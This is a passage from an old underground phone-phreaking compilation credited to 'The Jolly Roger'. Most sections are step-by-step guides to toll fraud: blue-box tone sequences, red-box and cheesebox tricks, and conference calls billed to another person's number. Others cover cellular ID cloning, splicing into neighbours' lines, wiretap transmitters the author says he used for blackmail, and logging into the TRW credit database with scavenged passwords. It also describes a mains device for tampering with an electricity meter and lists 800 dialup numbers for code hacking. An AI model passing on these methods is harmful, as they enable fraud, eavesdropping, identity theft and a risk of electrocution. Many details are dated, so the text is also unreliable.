Battery Clip. +4.Connect the Red Wire from the second Battery Clip to the Green Wire from the Keypad. +5.Connect the Blue Wire from the Keypad to the Orange/Black Wire from the Keypad. +6.Connect the Black Wire from the first Battery Clip to the two above wires (Blue and Black/Orange). +7.Connect the Black Wire from the Keypad to the Blue Wire from the Transformer. +8.Connect the Red/Green Wire from the Keypad to the Green Wire from the Transformer. +9.Make sure the Black Wire from the Transformer and the remaining wires from the Keypad are free. +10.Hook up the Batteries. +Optional: +1.Put it all in a case. +2.Add a Silver Box to it. +Use: +Just use it like a normal keypad, except put the speaker next to the receiver of the phone you're using. +110.The BLAST Box by The Jolly Roger +Ever want to really make yourself be heard? Ever talk to someone on the phone who just doesn't shut up? Or just call the operator and pop her +eardrum? Well, up until recently it has been impossible for you to do these things. That is, unless of course you've got a blast box. All a blast +box is, is a really cheap amplifier, (around 5 watts or so) connected in place of the microphone on your telephone. It works best on model 500 +AT&T Phones, and if constructed small enough, can be placed inside the phone. +Construction: +Construction is not really important. Well it is, but since I'm letting you make +your own amp, I really don't have to include this. +Usage: +Once you've built your blast box, simply connect a microphone (or use the microphone from the phone) to the input of the amplifier, and presto. +There it is. Now, believe it or not, this device actually works. (At least on crossbar.) It seems that Illinois bell switching systems allow quite a lot +of current to pass right through the switching office, and out to whoever you're calling. When +you talk in the phone, it comes out of the other phone (again it works best if the phone that you're calling has the standard western electric +earpiece) incredibly loud. This device is especially good for PBS Subscription drives. Have "Phun", and don't get caught! +111.Dealing with the Rate & Route Operator by The Jolly Roger +It seems that fewer and fewer people have blue boxes these days, and that is really too bad. Blue boxes, while not all that great for making +free calls (since the TPC can tell when the call was made, as well as where it was too and from), are really a lot of fun to play with. Short of +becoming a real live TSPS operator, they are about the only way you can really play with the network. +For the few of you with blue boxes, here are some phrases which may make life easier when dealing w ith the rate & route (R&R) operators. +To get the R&R op, you send a KP + 141 + ST. In some areas you may need to put another NPA before the 141 (i.e., KP + 213 + 141 + ST), if +you have no local R&R ops. +The R&R operator has a myriad of information, and all it takes to get this data is mumbling cryptic phrases. There are basically four special +phrases to give the R&R ops. They are NUMBERS route, DIRECTORY route, OPERATOR route, and PLACE NAME. +To get an R&R an area code for a city, one can call the R&R operator and ask for the numbers route. For example, to find the area code for +Carson City, Nevada, we'd ask the R&R op for "Carson City, Nevada, numbers route, please." and get the answer, "Right... 702 plus." meaning +that 702 plus 7 digits gets us there. +Sometimes directory assistance isn't just NPA+131. The way to get these routings is to call R&R and ask for "Anaheim, California, directory +route, please." Of course, she'd tell us it was 714 plus, which means 714 + 131 gets us the D.A. op there. This is sort of pointless example, but +I couldn't come up with a better one on short notice. +Let's say you wanted to find out how to get to the inward operator for Sacremento, California. The first six digits of a number in that city will +be required (the NPA and an NXX). For example, let us use 916 756. We would call R&R, and when the operator answered, say, "916 756, +operator route, please." The +operator would say, "916 plus 001 plus." This means that 916 + 001 + 121 will get you the inward operator for Sacramento. Do you know the +city which corresponds to 503 640? The R&R operator does, and will tell you that it is Hillsboro, Oregon, if you sweetly ask for "Place name, +503 640, please." +For example, let's say you need the directory route for Sveg, Sweden. Simply call R&R, and ask for, "International, Baden, Switzerland. TSPS +directory route, please." In response to this, you'd get, "Right... Directory to Sveg, Sweden. Country code 46 plus 1170." So you'd route +yourself to an international sender, and send 46 + 1170 to get the D.A. operator in Sweden. +Inward operator routings to various countries are obtained the same way "International, London, England, TSPS inward route, please." and get +"Country code 44 plus 121." Therefore, 44 plus 121 gets you inward for London. +Inwards can get you language assistance if you don't speak the language. Tell the foreign inward, "United States calling. Language assistance +in completing a call to (called party) at (called number)." +R&R operators are people are people too, y'know. So always be polite, make sure use of 'em, and dial with care. +112.Cellular Phreaking by The Jolly Roger +The cellular/mobile phone system is one that is perfectly set up to be exploited by phreaks with the proper knowledge and equipment. Thanks +to deregulation, the regional BOC's (Bell Operating Companies) are scattered and do not communicate much with each other. Phreaks can take +advantage of this by pretending to be mobile phone customers whose "home base" is a city served by a different BOC, known as a "roamer". +Since it is impractical for each BOC to keep track of the customers of all the other BOC's, they will usually allow the customer to make the calls +he wishes, often with a surcharge of some sort. +The bill is then forwarded to the roamer's home BOC for collection. However, it is fairly simple (with the correct tools) to create a bogus ID +number for your mobile phone, and pretend to be a roamer from some other city and state, that's "just visiting". When your BOC tries to collect +for the calls from your alleged "home BOC", they will discover you are not a real customer; but by then, you can create an entirely new +electronic identity, and use that instead. +How does the cellular system know who is calling, and where they are? When a mobile phone enters a cell's area of transmission, it transmits +its phone number and its 8 digit ID number to that cell, who will keep track of it until it gets far enough away that the sound quality is sufficiently +diminished, and then the phone is "handed off" to the cell that the customer has walked or driven into. This process continues as long as the +phone has power and is turned on. If the phone is turned off (or the car is), someone attempting to call the mobile phone will receive a +recording along the lines of "The mobile phone customer you have dialed has left the vehicle or driven out of the service area." When a call is +made to a mobile phone, the switching equipment will check to see if the mobile phone being called is "logged in", so to speak, or present in one +of the cells. If it is, the call will then act (to the speaking parties) just like a normal call - the caller may hear a busy tone, the phone may just +ring, or the call may be answered. +How does the switching equipment know whether or not a particular phone is authorized to use the network? Many times, it doesn't. When a +dealer installs a mobile phone, he gives the phone's ID number (an 8 digit hexadecimal number) to the local BOC, as well as the phone number +the BOC assigned to the customer. Thereafter, whenever a phone is present in one of the cells, the two numbers are checked - they should +be registered to the same person. If they don't match, the telco knows that an attempted fraud is taking place (or at best, some transmission +error) and will not allow calls to be placed or received at that phone. However, it is impractical (especially given the present state of +deregulation) for the telco to have records of every cellular customer of every BOC. Therefore, if you're going to create a fake ID/phone +number combination, it will need to be "based" in an area that has a cellular system (obviously), has a different BOC than your local area does, +and has some sort of a "roamer" +agreement with your local BOC. +How can one "phreak" a cellular phone? There are three general areas when phreaking cellular phones; using one you found in an unlocked +car (or an unattended walk-about model), modifying your own chip set to look like a different phone, or recording the phone number/ID number +combinations sent by other local cellular phones, and using those as your own. Most cellular phones include a crude "password" system to +keep unauthorized users from using the phone - however, dealers often set the password (usually a 3 to 5 digit code) to the last four digits of +the customer's mobile phone number. If you can find that somewhere on the phone, you're in luck. If not, it shouldn't be TOO hard to hack, since +most people aren't smart enough to use something besides "1111", "1234", or whatever. If you want to modify the chip set in a cellular phone +you bought (or stole), there are two chips (of course, this depends on the model and +manufacturer, yours may be different) that will need to be changed - one installed at the manufacturer (often epoxied in) with the phone's ID +number, and one installed by the dealer with the phone number, and possible the security code. To do this, you'll obviously need an EPROM +burner as well as the same sort of chips used in the phone (or a friendly and unscrupulous dealer!). As to recording the numbers of other +mobile phone customers and using them; as far as I know, this is just theory... but it seems quite possible, if you've got the equipment to record +and decode it. The cellular system would probably freak out if two phones (with valid ID/phone number combinations) were both present in the +network at once, but it remains to be seen what will happen. +113.Cheesebox Plans by The Jolly Roger +A Cheesebox (named for the type of box the first one was found in) is a type of box which will, in effect, make your telephone a Pay- +Phone.....This is a simple, modernized, and easy way of doing it.... +Inside Info: These were first used by bookies many years ago as a way of making calls to people without being called by the cops or having +their numbers traced and/or tapped...... +How To Make A Modern Cheese Box +Ingredients: + 1 Call Forwarding service on the line + 1 Set of Red Box Tones + The number to your prefix's Intercept operator (do some scanning for this one) +How To: +After you find the number to the intercept operator in your prefix, use your call-forwarding and forward all calls to her...this will make your +phone stay off the hook(actually, now it waits for a quarter to be dropped in)...you now have a cheese box... In Order To Call Out On This +Line: You must use your Red Box tones and generate the quarter dropping in...then, you can make phone calls to people...as far as I know, this +is fairly safe, and they do not check much...Although I am not sure, I think you can even make credit-card calls from a cheesebox phone and +not get traced... +114.How to start your own conferences! by The Jolly Roger +Black Bart showed how to start a conference call thru an 800 exchange, and I will now explain how to start a conference call in a more +orthodox fashion, the 2600Hz. Tone. +Firstly, the fone company has what is called switching systems. There are several types, but the one we will concern ourselves with, is ESS +(electronic switching system). If your area is zoned for ESS, do not start a conference call via the 2600Hz. Tone, or bell security will nail your +ass! To find out if you are under ESS, call your local business office, and ask them if you can get call waiting/forwarding, and if you can, that +means that you are in ESS country, and conference calling is very, very dangerous!!! Now, if you are not in ESS, you will need the following +equipment: + An Apple CAT II modem + A copy of TSPS 2 or CAT'S Meow + A touch tone fone line + A touch tone fone. (True tone) +Now, with TSPS 2, do the following: +1.Run tsps 2 +2.Chose option 1 +3.Chose option 6 +4.Chose sub-option 9 +5.Now type: 1-514-555-1212 (dashes are not needed) +6.Listen with your handset, and as soon as you hear a loud click, then type: $ +7.To generate the 2600 hz. Tone. This obnoxious tone will continue for a few +8.Seconds, then listen again and you should hear another loud 'click'. +9.Now type: km2130801050s + 'K' = kp tone + 'M' = multi frequency mode + 'S' = s tone +10.Now listen to the handset again, and wait until you hear the 'click' again. Then type: km2139752975s + 2139751975 is the number to bill the conference call to. +Note: 213-975-1975 is a disconnected number, and I strongly advise that you only bill the call to this number, or the fone company will find out, +and then.. remember, conference calls are itemized, so if you do bill it to an enemy's number, he can easily find out who did it and he can bust +you! +You should now hear 3 beeps, and a short pre-recorded message. From here on, everything is all menu driven. +Conference call commands +From the '#' mode: + 1 = call a number + 6 = transfer control + 7 = hangs up the conference call + 9 = will call a conference operator +Stay away from 7 and 9! If for some reason an operator gets on-line, hang up! If you get a busy signal after km2130801050s, that means that +the teleconference line is temporarily down. Try later, preferably from 9am to 5pm week days, since conference calls are primarily designed +for business people. +115.Gold Box Plans by The Jolly Roger +HOW TO BUILD IT +You will need the following: + Two 10K OHM and three 1.4K OHM resistors + Two 2N3904 transistors + Two Photo Cells + Two Red LED'S (The more light produced the better) + A box that will not let light in + Red and Green Wire +Light from the #1 LED must shine directly on the photocell #1. The gold box I made needed the top of the LED's to touch the photo cell for it to +work. +The same applies to the #2 photo cell and LED. +1 +:-PHOTOCELL--: +: : +: :BASE +: 1 TTTTT +: +LED- TRANSISTOR +: TTTTT +: : : +: -I(-- : :COLLECTOR +RED1--< >:--: :-------:-----GREEN2 +-I(-- : ----------: +: : +2 :-/+/+/ -/+/+/ -/+/+/-/+/+/ +LED 10K 10K 1.4K 1.4K +RESISTORES +2 +-PHOTOCELL----------------- +: : +:BASE : +TTTTT : +TRANSISTOR : +TTTTT : +: :EMITTER : +GREEN1- --------------------------RED2 +: : +/+/+/ +1.4K +The 1.4K resistor is variable and if the second part of the gold box is skipped it will still work but when someone picks up the phone they will +hear a faint dial tone in the background and might report it to the Gestapo er...(AT&T). 1.4K will give you good reception with little risk of a +Gestapo agent at your door. +Now that you have built it take two green wires of the same length and strip the ends, twist two ends together and connect them to green1 +and place a piece of tape on it with "line #1" writing on it. +Continue the process with red1 only use red wire. Repeat with red2 and green2 but change to line #2. +HOW TO INSTALL +You will need to find two phone lines that are close together. Label one of the phone lines "Line #1". Cut the phone lines and take the outer +coating off it. There should be 4 wires. Cut the yellow and black wires off and strip the red and green wires for both lines. +Line #1 should be in two pieces. Take the green wire of one end and connect it to one of the green wires on the gold box. Take the other half +of line #1 and hook the free green wire to the green wire on the phone line. Repeat the process with red1 and the other line. All you need to do +now is to write down the phone numbers of the place you hooked it up at and go home and call it. You should get a dial tone!!! If not, try +changing the emitter with the collector. +116.The History of ESS by The Jolly Roger +Of all the new 1960s wonders of telephone technology - satellites, ultra modern Traffic Service Positions (TSPS) for operators, the +picturephone, and so on - the one that gave Bell Labs the most trouble, and unexpectedly became the greatest development effort in Bell +System's history, was the perfection of an electronic switching system, or ESS. +It may be recalled that such a system was the specific end in view when the project that had culminated in the invention of the transistor had +been launched back in the 1930s. After successful accomplishment of that planned miracle in 1947-48, further delays were brought about by +financial stringency and the need for further development of the transistor itself. In the early 1950s, a Labs team began serious work on +electronic switching. As early as 1955, Western Electric became involved when five engineers from the Hawthorne works were assigned to +collaborate with the Labs on the project. The president of AT&T in 1956, wrote confidently, "At Bell Labs, development of the new electronic +switching system is going full speed ahead. We are sure this will lead to many improvements in service and also to greater efficiency. The first +service trial will start in Morris, Ill., in 1959." Shortly thereafter, Kappel said that the cost of the whole project would probably be $45 million. +But it gradually became apparent that the development of a commercially usable electronic switching system - in effect, a computerized +telephone exchange - presented vastly greater technical problems than had been anticipated, and that, accordingly, Bell Labs had vastly +underestimated both the time and the investment needed to do the job. The year 1959 passed without the promised first trial at Morris, Illinois; it +was finally made in November 1960, and quickly showed how much more work remained to be done. As time dragged on and costs mounted, +there was a concern at AT&T and something approaching panic at Bell Labs. But the project had to go forward; by this time the investment +was too great to be sacrificed, and in any case, forward projections of increased demand for telephone service indicated that within a few +years a time would come when, without the quantum leap in speed and flexibility that electronic switching would provide, the national network +would be unable to meet the demand. In November 1963, an all-electronic switching system went into use at the Brown Engineering Company +at Cocoa Beach, Florida. But this was a small installation, essentially another test installation, serving only a single company. Kappel's tone on +the subject in the 1964 annual report was, for him, an almost apologetic: "Electronic switching equipment must be manufactured in volume to +unprecedented standards of reliability.... To turn out the equipment economically and with good speed, mass production methods must be +developed; but, at the same time, there can be no loss of precision..." Another year and millions of dollars later, on May 30, 1965, the first +commercial electric central office was put into service at Succasunna, New Jersey. +Even at Succasunna, only 200 of the town's 4,300 subscribers initially had the benefit of electronic switching's added speed and additional +services, such as provision for three party conversations and automatic transfer of incoming calls. But after that, ESS was on its way. In +January 1966, the second commercial installation, this one serving 2,900 telephones, went into service in Chase, Maryland. By the end of 1967 +there were additional ESS offices in California, Connecticut, Minnesota, Georgia, NY, Florida, and Pennsylvania; by the end of 1970 there were +120 offices serving 1.8 million customers; and by 1974 there were 475 offices serving 5.6 million customers. +The difference between conventional switching and electronic switching is the difference between "hardware" and "software"; in the former +case, maintenance is done on the spot, with screwdriver and pliers, while in the case of electronic switching, it can be done remotely, by +computer, from a central point, making it possible to have only one or two technicians on duty at a time at each switching center. The +development program, when the final figures were added up, was found to have required a staggering four thousand man-years of work at +Bell Labs and to have cost not $45 million but $500 million! +117.The Lunch Box by The Jolly Roger +Introduction +The Lunch Box is a VERY simple transmitter which can be handy for all sorts of things. It is quite small and can easily be put in a number of +places. I have successfully used it for tapping fones, getting inside info, blackmail and other such things. The possibilities are endless. I will +also include the plans or an equally small receiver for your newly made toy. Use it for just about anything. You can also make the transmitter +and receiver together in one box and use it as a walkie talkie. +Materials you will need + (1) 9 volt battery with battery clip + (1) 25-mfd, 15 volt electrolytic capacitor + (2) .0047 mfd capacitors + (1) .022 mfd capacitor + (1) 51 pf capacitor + (1) 365 pf variable capacitor + (1) Transistor antenna coil + (1) 2N366 transistor + (1) 2N464 transistor + (1) 100k resistor + (1) 5.6k resistor + (1) 10k resistor + (1) 2meg potentiometer with SPST switch + Some good wire, solder, soldering iron, board to put it on, box (optional) +Schematic for The Lunch Box +This may get a tad confusing but just print it out and pay attention. +[!] +! +51 pf +! +---+---- ------------base collector +! )( 2N366 +----+------/\/\/----GND +365 pf () emitter ! +! )( ! ! ++-------- ---+---- ! ! +! ! ! ! ! +GND / .022mfd ! ! +10k\ ! ! ! +/ GND +------------------------emitter +! ! ! 2N464 +/ .0047 ! base collector +2meg \----+ ! ! +--------+ ! +/ ! GND ! ! ! +GND ! ! ! ++-------------+.0047+--------------------+ ! ! +! +--25mfd-----+ +-----------------------------------------+ ! ! +microphone +--/\/\/-----+ +---------------------------------------------+ 100k ! +! +GND---->/<---------------------!+!+!+---------------+ +switch Battery +from 2meg pot. +Notes about the schematic +1.GND means ground +2.The GND near the switch and the GND by the 2meg potentiometer should be connected. +3.Where you see: )( +() +)( it is the transistor antenna coil with 15 turns of regular hook-up wire around it. +4.The middle of the loop on the left side (the left of "()") you should run a wire down to the "+" which has nothing attached to it. There is a +.0047 capacitor on the correct piece of wire. +5.For the microphone use a magnetic earphone (1k to 2k). +6.Where you see "[!]" is the antenna. Use about 8 feet of wire to broadcast approx. 300ft. Part 15 of the FCC rules and regulation says you +can't broadcast over 300 feet without a license. (Hahaha). Use more wire for an antenna for longer distances. (Attach it to the black wire +on the fone line for about a 250 foot antenna!) +Operation of the Lunch Box +This transmitter will send the signals over the AM radio band. You use the variable capacitor to adjust what freq. you want to use. Find a good +unused freq. down at the lower end of the scale and you're set. Use the 2 meg pot. to adjust gain. Just fuck with it until you get what sounds +good. The switch on the 2meg is for turning the Lunch Box on and off. When everything is adjusted, turn on an AM radio adjust it to where you +think the signal is. Have a friend lay some shit thru the Box and tune in to it. That's all there is to it. The plans for a simple receiver are shown +below: +The Lunch Box receiver + (1) 9 volt battery with battery clip + (1) 365 pf variable capacitor + (1) 51 pf capacitor + (1) 1N38B diode + (1) Transistor antenna coil + (1) 2N366 transistor + (1) SPST toggle switch + (1) 1k to 2k magnetic earphone +Schematic for receiver +[!] +! +51 pf +! ++----+----+ +! ! +) 365 pf +(----+ ! +) ! ! ++---------+---GND +! ++---*>!----base collector----- +diode 2N366 earphone +emitter +----- +! ! +GND ! +- ++ +- battery ++ +GND------>/<------------+ +switch +Closing statement +This two devices can be built for under a total of $10.00. Not too bad. Using these devices in illegal ways is your option. If you get caught, I +accept NO responsibility for your actions. This can be a lot of fun if used correctly. Hook it up to the red wire on the phone line and it will send +the conversation over the air waves. +118.Olive Box Plans by The Jolly Roger +This is a relatively new box, and all it basically does is serve as a phone ringer. You have two choices for ringers, a piezoelectric +transducer (ringer), or a standard 8 ohm speaker. The speaker has a more pleasant tone to it, but either will do fine. This circuit can also be +used in conjunction with a rust box to control an external something or other when the phone rings. Just connect the 8 ohm speaker output to +the inputs on the rust box, and control the pot to tune it to light the light (which can be replaced by a relay for external controlling) when the +phone rings. +______________ +| | ^ +NC --|-- 5 4 --|-----/\/\/------->G +| | / R2 +G<----)|----|-- 6 3 --|-- NC +| C3 | U1 | +-------|-- 7 2 --|---------- --- -- - > TO RINGER +| | +----|-- 8 1 --|-- +| |______________| | +| ---/\/\/----|(----- L1 +| R1 C1 +------------------------------------------ L2 +a. Main ringer TTL circuit +(>::::::::::::::::::::::::::::::::::::::::::::::::::::::::<) +_ +FROM PIN 2 < - -- --- ----------| |_| |------------->G +P1 +b. Piezoelectric transducer +(>::::::::::::::::::::::::::::::::::::::::::::::::::::::::<) +__ /| +FROM PIN 2 < - -- --- ---------|(---------. .-------| |/ | +>||< |S1| | +>||< --| | | +>||< | |__|\ | +G<---------.>||<. --- \| +T1 +c. Electromagnetic transducer +Parts List + U1 - Texas Instruments TCM1506 + T1 - 4000:8 ohm audio transformer + S1 - 8 ohm speaker + R1 - 2.2k resistor + R2 - External variable resistor; adjusts timing frequency + C1 - .47uF capacitor + C2 - .1uF capacitor + C3 - 10uF capacitor + L1 - Tip + L2 - Ring + L1 and L2 are the phone line. +Shift Rate: +This is the formula for determining the shift rate: +1 1 +SR = --------------------- = ------------ = 6 Hz +(DSR(1/f1)+DSR(1/f2)) 128 128 +---- + ---- +1714 1500 + DSR = Shift Devider Rate ratio = 128 + f1 = High Output Frequency = 1714 + f2 = Low Output Frequency = 1500 +119.The Tron Box by The GREAT Captain Crunch!! +------------------R-----F---- +I I I I +I I I I- +(C) (C) (C) +I I I II +I I I +----------------------------- + (C)=capacitor + F =fuse + R =resistor + I,- are wire +Parts List: + (3) electrolytic capacitors rated at 50V(lowest) .47UF + (1) 20-30 OHM Watt resistor + (1) 120Volt fuse (amp rating best to use at least half of total house current or even less it keeps you from blowing your breaker just in +case...) + (1) power cord (cut up an extension cord. Need plug part and wire) + (1) electrically insulated box for the rest of us. If your don't feel comfortable about electricity then don't play with this. There is voltage +present that will ***kill you***. +The thing works when the load in your house is low like at night time. It will put a reverse phase signal on the line and cancel out the other +phase and put a reverse phase running everything in the house. Well if you have ever switched the power leads on a D\C (battery powered) +motor you will see that it runs backwards well your electric meter sort of works this way...so reverse phase makes the meter slow down and +if your lucky it will go backwards. Anyway it means a cheaper electric bill. +120.More TRW Info by The Jolly Roger +TRW is a large database in which company's and banks can run credit checks on their customers. Example: John Jones orders $500 worth of +stereo equipment from the Joe Blow Electronic distributing Co. Well it could be that he gave the company a phony credit card number, or +doesn't have enough credit, etc. Well they call up TRW and then run a check on him, TRW then lists his card numbers (everything from sears to +visa) and tells the numbers, credit, when he lost it last (if he ever did) and then of course tells if he has had any prior problems paying his bills. +I would also like to add that although TRW contains information on millions of people, not every part of the country is served, although the major +area are.. So if you hate someone and live in a small state, you probably wont be able to order him 300 pink toilet seats from K-mart. +Logging on +To log on, you dial-up your local access number (or long-distance, what ever turns you on) and wait for it to say "TRW" at this prompt, you +type either an "A" or a "Ctrl-G" and it will say "circuit building in progress" it will wait for a minute and then clear the screen, now you will type +one of the following. +Tca1 +Tca2 +Tnj1 +Tga1 +This is to tell it what geographical area the customer is in, it really doesn't matter which you use, because TRW will automatically switch when +it finds the record.. +Next, you will type in the pswd and info on the person you are trying to get credit info on. You type it in a format like this: +Rts Pswd Lname Fname ...,House number First letter of street name Zip now you type ctrl s and 2 ctrl-Q's here is what it looks like in real +life: +Ae: Dialing xxx-xxx-xxxx +(screen clear) +TRW ^G +circuit building in progress +(pause . . . screen clear) +Tca1 +Rtc 3966785-cm5 Johnson David ...,4567 +R 56785 +^s ^q ^q +and then it will wait for a few seconds and print out the file on him (if it can locate one for the guy) +Note: You may have to push return when you first connect to get the systems attention. +Getting Your Passwords +To obtain pswds, you go down to your favorite bank or sears store and dig through the trash (hence the name trashing) looking for printouts, if +they are a big enough place, and live in a TRW area, then they will probably have some. The printouts will have the 7 digit subscriber code, +leaving the 3-4 digit pswd up to you. Much like trashing down at good old ma bell. +121.Phreaker's Phunhouse by the Jolly Roger +The long awaited prequil to Phreaker's Guide has finally arrived. Conceived from the boredom and loneliness that could only be derived from: +The Traveler! But now, he has returned in full strength (after a small vacation) and is here to 'World Premiere' the new files everywhere. Stay +cool. This is the prequil to the first one, so just relax. This is not made to be an exclusive ultra elite file, so kinda calm down and watch in the +background if you are too cool for it. +Phreak Dictionary +Here you will find some of the basic but necessary terms that should be known by any phreak who wants to be respected at all. +Phreak: +1.The action of using mischievous and mostly illegal ways in order to not pay for some sort of telecommunications bill, order, +transfer, or other service. It often involves usage of highly illegal boxes and machines in order to defeat the security that is set +up to avoid this sort of happening. [fr'eaking]. v. +2.A person who uses the above methods of destruction and chaos in order to make a better life for all. A true phreaker will not go +against his fellows or narc on people who have ragged on him or do anything termed to be dishonorable to phreaks. [fr'eek]. n. +3.A certain code or dialup useful in the action of being a phreak. (Example: "I hacked a new metro phreak last night.") +Switching System: +1.There are 3 main switching systems currently employed in the US, and a few other systems will be mentioned as background. + SxS: This system was invented in 1918 and was employed in over half of the country until 1978. It is a very basic +system that is a general waste of energy and hard work on the linesman. A good way to identify this is that it requires +a coin in the phone booth before it will give you a dial tone, or that no call waiting, call forwarding, or any other such +service is available. Stands for: Step by Step + XB: This switching system was first employed in 1978 in order to take care of most of the faults of SxS switching. +Not only is it more efficient, but it also can support different services in various forms. XB1 is Crossbar Version 1. +That is very limited and is hard to distinguish from SxS except by direct view of the wiring involved. Next up was XB4, +Crossbar Version 4. With this system, some of the basic things like DTMF that were not available with SxS can be +accomplished. For the final stroke of XB, XB5 was created. This is a service that can allow DTMF plus most 800 type +services (which were not always available.) Stands for: Crossbar. + ESS: A nightmare in telecom. In vivid color, ESS is a pretty bad thing to have to stand up to. It is quite simple to identify. +Dialing 911 for emergencies, and ANI [see ANI below] are the most common facets of the dread system. ESS has the +capability to list in a person's caller log what number was called, how long the call took, and even the status of the +conversation (modem or otherwise.) Since ESS has been employed, which has been very recently, it has gone +through many kinds of revisions. The latest system to date is ESS 11a, that is employed in Washington D.C. for +security reasons. ESS is truly trouble for any phreak, because it is 'smarter' than the other systems. For instance, if +on your caller log they saw 50 calls to 1-800-421-9438, they would be able to do a CN/A [see Loopholes below] on +your number and determine whether you are subscribed to that service or not. This makes most calls a hazard, +because although 800 numbers appear to be free, they are recorded on your caller log and then right before you +receive your bill it deletes the billings for them. But before that the are open to inspection, which is one reason why +extended use of any code is dangerous under ESS. Some of the boxes [see Boxing below] are unable to function in +ESS. It is generally a menace to the true phreak. Stands For: Electronic Switching System. Because they could appear +on a filter somewhere or maybe it is just nice to know them anyways. + SSS: Strowger Switching System. First non-operator system available. + WES: Western Electronics Switching. Used about 40 years ago with some minor places out west. +Boxing: +1.The use of personally designed boxes that emit or cancel electronical impulses that allow simpler acting while phreaking. Through +the use of separate boxes, you can accomplish most feats possible with or without the control of an operator. +2.Some boxes and their functions are listed below. Ones marked with '*' indicate that they are not operatable in ESS. + *Black Box:Makes it seem to the phone company that the phone was never picked up. + Blue Box: Emits a 2600hz tone that allows you to do such things as stack a trunk line, kick the operator off line, and +others. + Red Box: Simulates the noise of a quarter, nickel, or dime being dropped into a payphone. + Cheese Box: Turns your home phone into a pay phone to throw off traces (a red box is usually needed in order to call +out.) + *Clear Box: Gives you a dial tone on some of the old SxS payphones without putting in a coin. + Beige Box: A simpler produced linesman's handset that allows you to tap into phone lines and extract by +eavesdropping, or crossing wires, etc. + Purple Box: Makes all calls made out from your house seem to be local calls. +ANI [ANI]: +1.Automatic Number Identification. A service available on ESS that allows a phone service [see Dialups below] to record the number +that any certain code was dialed from along with the number that was called and print both of these on the customer bill. +2.dialups [see Dialups below] are all designed just to use ANI. Some of the services do not have the proper equipment to read the ANI +impulses yet, but it is impossible to see which is which without being busted or not busted first. +Dialups [dy'l'ups]: +1.Any local or 800 extended outlet that allows instant access to any service such as MCI, Sprint, or AT&T that from there can be +used by hand-picking or using a program to reveal other peoples codes which can then be used moderately until they find out +about it and you must switch to another code (preferably before they find out about it.) +2.Dialups are extremely common on both senses. Some dialups reveal the company that operates them as soon as you hear the +tone. Others are much harder and some you may never be able to identify. A small list of dialups: +1-800-421-9438 (5 digit codes) +1-800-547-6754 (6 digit codes) +1-800-345-0008 (6 digit codes) +1-800-734-3478 (6 digit codes) +1-800-222-2255 (5 digit codes) +3.Codes: Codes are very easily accessed procedures when you call a dialup. They will give you some sort of tone. If the tone does +not end in 3 seconds, then punch in the code and immediately following the code, the number you are dialing but strike the '1' in +the beginning out first. If the tone does end, then punch in the code when the tone ends. Then, it will give you another tone. +Punch in the number you are dialing, or a '9'. If you punch in a '9' and the tone stops, then you messed up a little. If you punch in +a tone and the tone continues, then simply dial then number you are calling without the '1'. +4.All codes are not universal. The only type that I know of that is truly universal is Metrophone. Almost every major city has a local +Metro dialup (for Philadelphia, (215)351-0100/0126) and since the codes are universal, almost every phreak has used them +once or twice. They do not employ ANI in any outlets that I know of, so feel free to check through your books and call 555-1212 +or, as a more devious manor, subscribe yourself. Then, never use your own code. That way, if they check up on you due to +your caller log, they can usually find out that you are subscribed. Not only that but you could set a phreak hacker around that +area and just let it hack away, since they usually group them, and, as a bonus, you will have their local dialup. +5.950's. They seem like a perfectly cool phreakers dream. They are free from your house, from payphones, from everywhere, and +they host all of the major long distance companies (950)1044 , (950)1077 , 950-1088 , 950-1033 .) Well, they aren't. They were designed for ANI. That is the point, end of discussion. +A phreak dictionary. If you remember all of the things contained on that file up there, you may have a better chance of doing whatever it is +you do. This next section is maybe a little more interesting... +Blue Box Plans: +These are some blue box plans, but first, be warned, there have been 2600hz tone detectors out on operator trunk lines since XB4. The idea +behind it is to use a 2600hz tone for a few very naughty functions that can really make your day lighten up. But first, here are the plans, or the +heart of the file: +700 : 1 : 2 : 4 : 7 : 11 : +900 : + : 3 : 5 : 8 : 12 : +1100 : + : + : 6 : 9 : KP : +1300 : + : + : + : 10 : KP2 : +1500 : + : + : + : + : ST : +: 700 : 900 :1100 :1300 :1500 : +Stop! Before you diehard users start piecing those little tone tidbits together, there is a simpler method. If you have an Apple-Cat with a program +like Cat's Meow IV, then you can generate the necessary tones, the 2600hz tone, the KP tone, the KP2 tone, and the ST tone through the dial +section. So if you have that I will assume you can boot it up and it works, and I'll do you the favor of telling you and the other users what to do +with the blue box now that you have somehow constructed it. The connection to an operator is one of the most well known and used ways of +having fun with your blue box. You simply dial a TSPS (Traffic Service Positioning Station, or the operator you get when you dial '0') and blow +a 2600hz tone through the line. Watch out! Do not dial this direct! After you have done that, it is quite simple to have fun with it. Blow a KP tone +to start a call, a ST tone to stop it, and a 2600hz tone to hang up. Once you have connected to it, here are some fun numbers to call with it: +0-700-456-1000 Teleconference (free, because you are the operator!) +(Area code)-101 Toll Switching +(Area code)-121 Local Operator (hehe) +(Area code)-131 Information +(Area code)-141 Rate & Route +(Area code)-181 Coin Refund Operator +(Area code)-11511 Conference operator (when you dial 800-544-6363) +Well, those were the tone matrix controllers for the blue box and some other helpful stuff to help you to start out with. But those are only the +functions with the operator. There are other k-fun things you can do with it. +More advanced Blue Box Stuff: +Oops. Small mistake up there. I forgot tone lengths. Um, you blow a tone pair out for up to 1/10 of a second with another 1/10 second for +silence between the digits. KP tones should be sent for 2/10 of a second. One way to confuse the 2600hz traps is to send pink noise over the +channel (for all of you that have decent BSR equalizers, there is major pink noise in there.) +Using the operator functions is the use of the 'inward' trunk line. That is working it from the inside. From the 'outward' trunk, you can do such +things as make emergency breakthrough calls, tap into lines, busy all of the lines in any trunk (called 'stacking'), enable or disable the TSPS's, +and for some 4a systems you can even re-route calls to anywhere. +All right. The one thing that every complete phreak guide should be without is blue box plans, since they were once a vital part of phreaking. +Another thing that every complete file needs is a complete listing of all of the 800 numbers around so you can have some more fun. +/-/ 800 Dialup Listings /-/ +1-800-345-0008 (6) 1-800-547-6754 (6) +1-800-245-4890 (4) 1-800-327-9136 (4) +1-800-526-5305 (8) 1-800-858-9000 (3) +1-800-437-9895 (7) 1-800-245-7508 (5) +1-800-343-1844 (4) 1-800-322-1415 (6) +1-800-437-3478 (6) 1-800-325-7222 (6) +All right, set Cat Hacker 1.0 on those numbers and have a fuck of a day. That is enough with 800 codes, by the time this gets around to you I +don't know what state those codes will be in, but try them all out anyways and see what you get. On some 800 services now, they have an +operator who will answer and ask you for your code, and then your name. Some will switch back and forth between voice and tone +verification, you can never be quite sure which you will be up against. +Armed with this knowledge you should be having a pretty good time phreaking now. But class isn't over yet, there are still a 